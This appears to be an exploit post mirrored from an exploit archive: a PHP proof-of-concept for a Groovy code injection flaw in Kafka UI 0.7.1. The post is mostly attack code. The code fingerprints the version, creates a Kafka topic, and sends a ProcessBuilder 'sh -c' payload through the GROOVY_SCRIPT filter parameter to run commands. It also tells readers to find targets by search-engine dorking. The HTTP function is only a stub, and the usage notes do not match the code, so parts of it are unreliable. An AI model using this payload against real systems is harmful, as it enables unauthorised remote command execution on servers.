Share
## https://sploitus.com/exploit?id=PACKETSTORM:182152
=============================================================================================================================================  
| # Title : Kafka UI 0.7.1 Code Injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://github.com/provectus/kafka-ui/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking ฤฐn Google Or Other Search Enggine.  
  
[+] uses the CURL to Allow remote command .  
  
[+] Line 159 set your target .  
  
[+] save code as poc.php .  
  
[+] USage : cmd => c:\www\test\php poc.php   
  
[+] PayLoad :  
  
<?php  
class KafkaUIExploit {  
private $target;  
private $version;  
private $cluster;  
private $new_topic;  
  
public function __construct($target) {  
$this->target = $target;  
}  
  
public function vuln_version() {  
$uri = $this->normalize_uri('/actuator/info');  
$response = $this->send_request('GET', $uri, 'application/json');  
  
if ($response && $response['status_code'] == 200) {  
$json_response = json_decode($response['body'], true);  
  
if (!empty($json_response)) {  
if (isset($json_response['build']['version'])) {  
$this->version = ltrim($json_response['build']['version'], 'v');  
} elseif (isset($json_response['git']['commit']['id'])) {  
// Git commit versioning (this part should check with a local list if needed)  
$git_commit_id = substr($json_response['git']['commit']['id'], 0, 7);  
// Implement logic to map git commit to version  
}  
return version_compare($this->version, '0.7.1', '<=') && version_compare($this->version, '0.4.0', '>=');  
}  
}  
return false;  
}  
  
public function get_cluster() {  
$uri = $this->normalize_uri('/api/clusters');  
$response = $this->send_request('GET', $uri, 'application/json');  
  
if ($response && $response['status_code'] == 200) {  
$json_response = json_decode($response['body'], true);  
foreach ($json_response as $cluster) {  
if ($cluster['status'] == 'online' || $cluster['topicCount'] > 0) {  
return $cluster['name'];  
}  
}  
}  
return null;  
}  
  
public function create_topic($cluster) {  
$topic_name = $this->random_string(8);  
$post_data = json_encode([  
'name' => $topic_name,  
'partitions' => 1,  
'replicationFactor' => 1,  
'configs' => [  
'cleanup.policy' => 'delete',  
'retention.bytes' => '-1'  
]  
]);  
  
$uri = $this->normalize_uri("/api/clusters/$cluster/topics");  
$response = $this->send_request('POST', $uri, 'application/json', $post_data);  
  
if ($response && $response['status_code'] == 200) {  
$json_response = json_decode($response['body'], true);  
return $json_response['name'];  
}  
return null;  
}  
  
public function delete_topic($cluster, $topic) {  
$uri = $this->normalize_uri("/api/clusters/$cluster/topics/$topic");  
$response = $this->send_request('DELETE', $uri, 'application/json');  
return $response['status_code'] == 200;  
}  
  
public function produce_message($cluster, $topic) {  
$post_data = json_encode([  
'partition' => 0,  
'key' => 'null',  
'content' => 'null',  
'keySerde' => 'String',  
'valueSerde' => 'String'  
]);  
  
$uri = $this->normalize_uri("/api/clusters/$cluster/topics/$topic/messages");  
$response = $this->send_request('POST', $uri, 'application/json', $post_data);  
return $response['status_code'] == 200;  
}  
  
public function execute_command($cmd) {  
$payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"$cmd\").redirectErrorStream(true).start()";  
$uri = $this->normalize_uri("/api/clusters/{$this->cluster}/topics/{$this->new_topic}/messages");  
  
$params = [  
'q' => $payload,  
'filterQueryType' => 'GROOVY_SCRIPT',  
'attempt' => 2,  
'limit' => 100,  
'page' => 0,  
'seekDirection' => 'FORWARD',  
'keySerde' => 'String',  
'valueSerde' => 'String',  
'seekType' => 'BEGINNING'  
];  
  
return $this->send_request('GET', $uri, 'application/x-www-form-urlencoded', '', $params);  
}  
  
public function check() {  
if ($this->vuln_version()) {  
return "Kafka-ui version: {$this->version} is vulnerable";  
}  
return "Kafka-ui version is not vulnerable or unknown.";  
}  
  
public function exploit() {  
$this->cluster = $this->get_cluster();  
if (!$this->cluster) {  
die("Could not find or connect to an active Kafka cluster.");  
}  
  
$this->new_topic = $this->create_topic($this->cluster);  
if (!$this->new_topic) {  
die("Could not create a new topic.");  
}  
  
if (!$this->produce_message($this->cluster, $this->new_topic)) {  
die("Failed to trigger Groovy script payload execution.");  
}  
  
$this->execute_command('your_command_here'); // Replace with your desired command  
  
if ($this->delete_topic($this->cluster, $this->new_topic)) {  
echo "Successfully deleted topic {$this->new_topic}.";  
} else {  
echo "Could not delete topic {$this->new_topic}. Manual cleanup required.";  
}  
}  
  
private function send_request($method, $uri, $content_type, $data = '', $params = []) {  
// Placeholder for HTTP request logic (curl, file_get_contents, etc.)  
// Implement this function with your desired HTTP request library in PHP  
return [  
'status_code' => 200,  
'body' => '{}'  
];  
}  
  
private function normalize_uri($path) {  
return $this->target . $path;  
}  
  
private function random_string($length) {  
return bin2hex(random_bytes($length / 2));  
}  
}  
  
// Example usage:  
$exploit = new KafkaUIExploit("http://target.com");  
echo $exploit->check();  
$exploit->exploit();  
  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================